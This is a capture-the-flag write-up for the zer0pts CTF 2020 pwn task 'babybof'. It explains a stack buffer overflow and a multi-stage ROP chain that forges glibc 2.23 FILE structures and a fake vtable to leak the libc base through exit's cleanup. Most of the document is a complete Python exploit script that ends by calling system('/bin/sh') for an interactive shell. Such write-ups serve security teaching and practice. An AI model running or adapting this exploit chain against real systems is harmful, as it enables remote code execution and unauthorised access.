# [zer0pts CTF 2020] babybof
###### tags: `zer0pts CTF` `pwn`
## Overview
Actually it's not baby :P
```
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 33 Symbols No 0 2 chall
```
This is the only challenge the source code isn't attached among pwn tasks. The program is so simple that you can understand even only with objdump.
## Solution
### Vulnerability
It has **BOF** as the title says. `read` accepts 0x200 bytes even though the buffer size is 0x20.
### Used functions
There're only 3 functions: `setbuf`, `exit`, `read`. We can call only these 3 fnuctions from plt. No leak.
`setbuf` is used to disable buffering of stdin, stdout and stderr, which is common in pwn tasks.
### ROP gadget
Because of the small binary, there's only few gadgets.
### Plan
Our first goal is to get leak by `_IO_2_1_stdout_`. Since PIE is disabled, we can use stdin, stdout, stderr pointers written in the `.rela.dyn` section. This time we use them to overwrite `_IO_write_ptr` in `_IO_2_1_stdout_`.
#### Obstacle-1
Even if we could overwrite `_IO_write_ptr`, we can't leak anything as we don't have any write-related functions. In order to force it flush, we have to call `_IO_overflow_t`.
In order to resolve this we use `exit` function. Inside `exit` calls `__run_exit_handlers`, which finally calls `_IO_cleanup`. It frees stdin, stdout and stderr, and flushes the buffer which has unprinted data by calling `_IO_overflow_t`.
So, calling `exit` will leak the libc address! The END?
#### Obstacle-2
It's not that easy. `exit` quits the program.
In libc 2.23, we can forge the vtable of `_IO_FILE`. So, we can change the vtable to somewhere like bss instead of `_IO_jump_t`, and can forge function pointers so that the attacker can take control when `exit` is called. Since `exit` calls `_IO_overflow_t`, which enables us to call `main` again. The END?
#### Obstacle-3
No way. If we change `_IO_2_1_stdout_->_IO_overflow_t`, now we can't leak any address. We use `stderr` to resolve this problem. stderr, stdout and stdin are linked to `_IO_list_all` in this order. Thus, if we change `_IO_2_1_stderr_->_IO_write_ptr` and the vtable of stdout, the free process of stderr will ignite first, which leaks the libc address and stdout vtable will call `main` again.
Be noticed in order to make `_IO_2_1_stdout_->_IO_overflow_t` ignite we need to forge `_IO_2_1_stdout_->_IO_write_ptr` as well. In this way, we can leak the libc address with connection kept. (You cannot use stdout and stderr after that because it's broken.)
## Implementation
Try hard to write your exploit.
```python=
from ptrlib import *
from time import sleep
elf = ELF("../distfiles/chall")
#"""
libc = ELF("../distfiles/libc-2.23.so")
sock = Socket("localhost", 9002)
"""
libc = ELF("../distfiles/libc-2.23.so")
sock = Socket("localhost", 9999)
#"""
rop_pop_r15 = 0x0040049b
rop_pop_rbp = 0x0040047c
rop_pop_rdi = 0x0040049c
rop_pop_rsi = 0x0040049e
rop_leave = 0x00400499
rop_ret = 0x0040047d
wait = 0.1
"""
[1] Overwrite stderr->_IO_write_ptr to leak libc base
"""
logger.info("Stage 1")
# 1-1) Create 2nd ROP chain around stderr
# This ROP writes 2nd stage ROP chain.
# The 2nd ROP chain sets rsi to the address of stderr.
payload = b'A' * 0x28
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") - 8)
payload += p64(elf.plt("read")) # --> A
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") + 8)
payload += p64(elf.plt("read")) # --> B
payload += p64(rop_pop_rbp)
payload += p64(elf.symbol("stderr") - 16)
payload += p64(rop_leave)
sock.send(payload) # vuln read
sleep(wait)
# 1-2) Send 2nd ROP chain
# We have to split the payload in order not to corrupt stdin/out/err.
sock.send(p64(rop_pop_rsi)) # A <--
sleep(wait)
# 2-1) Create 4th ROP chain around stdout
# This ROP writes 4th stage ROP chain.
# The 4th ROP chain sets rsi to the address of stdout + 0x70.
payload = p64(elf.plt("read")) # --> C (rsi=stderr)
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stdout") - 8)
payload += p64(elf.plt("read")) # --> D
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stdin") - 8)
payload += p64(elf.plt("read")) # --> E
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") - 8)
payload += p64(elf.plt("read")) # --> F
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") + 8)
payload += p64(elf.plt("read")) # --> G
payload += p64(rop_pop_rbp)
payload += p64(elf.symbol("stdout") - 16)
payload += p64(rop_leave)
sock.send(payload) # B <--
sleep(wait)
# 1-3) Corrupt stderr->_IO_write_ptr
# We increase the value of _IO_write_ptr.
# This will cause _IO_jump_t->__overflow called before exiting.
# (which leaks libc address)
payload = p64(0xfbad1800) # _flags (= output as soon as possible)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += b'\x88' # _IO_write_ptr
sock.send(payload) # C <--
sleep(wait)
"""
[2] We force stdout to flush the memory.
Since we don't have any functions which flush stdout, we try to quit the program and cause stdout->_IO_jump_t->__IO_overflow called.
We overwrite stderr->_IO_jump_t to call main before exiting and keep connection.
In this way, we can leak libc base without killing the process.
"""
logger.info("Stage 2")
# 2-2) Send 4th ROP chain
# We have to split the payload in order not to (completely) corrupt stderr.
assert 0x00 <= libc.symbol("_IO_2_1_stdout_") & 0xff <= 0x80
w = bytes([(libc.symbol("_IO_2_1_stdout_") & 0xff) + 0x70])
sock.send(p64(rop_pop_rsi) + w) # D <-- (partially overwrite)
sleep(wait)
sock.send(p64(rop_pop_r15)) # E <--
sleep(wait)
sock.send(p64(rop_pop_r15)) # F <--
sleep(wait)
# 3-1) Create 6th ROP chain around stdout
# This ROP writes 6th stage ROP chain.
# The 6th ROP chain sets rsi to the address of stdout.
payload = p64(elf.plt("read")) # --> H (rsi=stdout + 0x70)
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stdout") - 8)
payload += p64(elf.plt("read")) # --> I
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stdin") - 8)
payload += p64(elf.plt("read")) # --> J
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") - 8)
payload += p64(elf.plt("read")) # --> K
payload += p64(rop_pop_rsi)
payload += p64(elf.symbol("stderr") + 8)
payload += p64(elf.plt("read")) # --> L
payload += p64(rop_pop_rbp)
payload += p64(elf.symbol("stdout") - 16)
payload += p64(rop_leave)
sock.send(payload) # G <--
sleep(wait)
# 2-3) Corrupt stderr->_IO_jump_t
# We make the vtable point to our fake vtable (which we will write later).
payload = p64(2)
payload += p64(0xffffffffffffffff)
payload += p64(0) * 2
payload += p64(0xffffffffffffffff)
payload += p64(0) * 8
payload += p64(elf.section(".bss") + 0xf00) # fake vtable
sock.send(payload) # H <--
sleep(wait)
"""
[3] Overwrite stderr->_IO_write_ptr
We changed stderr->_IO_jump_t but it's not enough because it won't call any function in the vtable.
We overwrite stderr->_IO_write_ptr to make it call _IO_overflow_t before exiting, which instead calls main function.
"""
logger.info("Stage 3")
# 3-2) Send 6th ROP chain
# This also fixes stdout pointer
w = bytes([libc.symbol("_IO_2_1_stdout_") & 0xff])
sock.send(p64(rop_pop_rsi) + w) # I <-- (restore stdout)
sleep(wait)
sock.send(p64(rop_pop_r15)) # J <--
sleep(wait)
sock.send(p64(rop_pop_r15)) # K <--
sleep(wait)
# 4-1) Create 8th ROP chain around stdout
# This ROP writes 8th stage ROP chain.
# The 8th ROP chain sets rsi to the address of stdout.
payload = p64(elf.plt("read")) # --> M (rsi=stdout)
payload += p64(rop_pop_rsi)
payload += p64(elf.section(".bss") + 0x808)
payload += p64(elf.plt("read")) # --> N
payload += p64(rop_pop_rbp)
payload += p64(elf.section(".bss") + 0x800)
payload += p64(rop_leave) # need to pivot because exit consumes large memory
sock.send(payload) # L <--
sleep(wait)
# 3-3) Corrupt stdout->_IO_write_ptr
# We increase the value of _IO_write_ptr.
# This will cause _IO_jump_t->__overflow called before exiting.
# (which actually calls main function)
payload = p64(0xfbad1800) # _flags
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += b'\x88' # _IO_write_ptr
sock.send(payload) # M <--
sleep(wait)
"""
[4] Prepare fake _IO_jump_t and try to exit
"""
logger.info("Stage 4")
# 4-1) Final ROP chain to leak libc address
# Now, prepare fake vtable and exit the program
payload = p64(rop_pop_rsi)
payload += p64(elf.section(".bss") + 0xf00)
payload += p64(elf.plt("read")) # --> O (rsi=fake_IO_jump_t)
payload += p64(elf.plt("exit"))
sock.send(payload) # N <--
sleep(wait)
# 4-2) Send fake _IO_jump_t
payload = p64(0) * 3
payload += p64(elf.symbol("main"))
sock.send(payload) # O <--
sleep(wait)
# 4-3) leak libc base
# In __run_exit_handler cleanups stderr-->stdout-->stdin as we call exit function.
# First, stderr leaks memory since we changed _IO_write_ptr.
# Second, stdout leaks memory and calls main function since we changed _IO_write_ptr and _IO_jump_t.
libc_base = u64(sock.recv()[0x20:0x28]) - libc.symbol("_IO_2_1_stdout_")
logger.info("libc base = " + hex(libc_base))
"""
[5] Baby BOF!
"""
logger.info("Stage 5 :tada:")
payload = b'A' * 0x28
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.send(payload)
sock.interactive()
```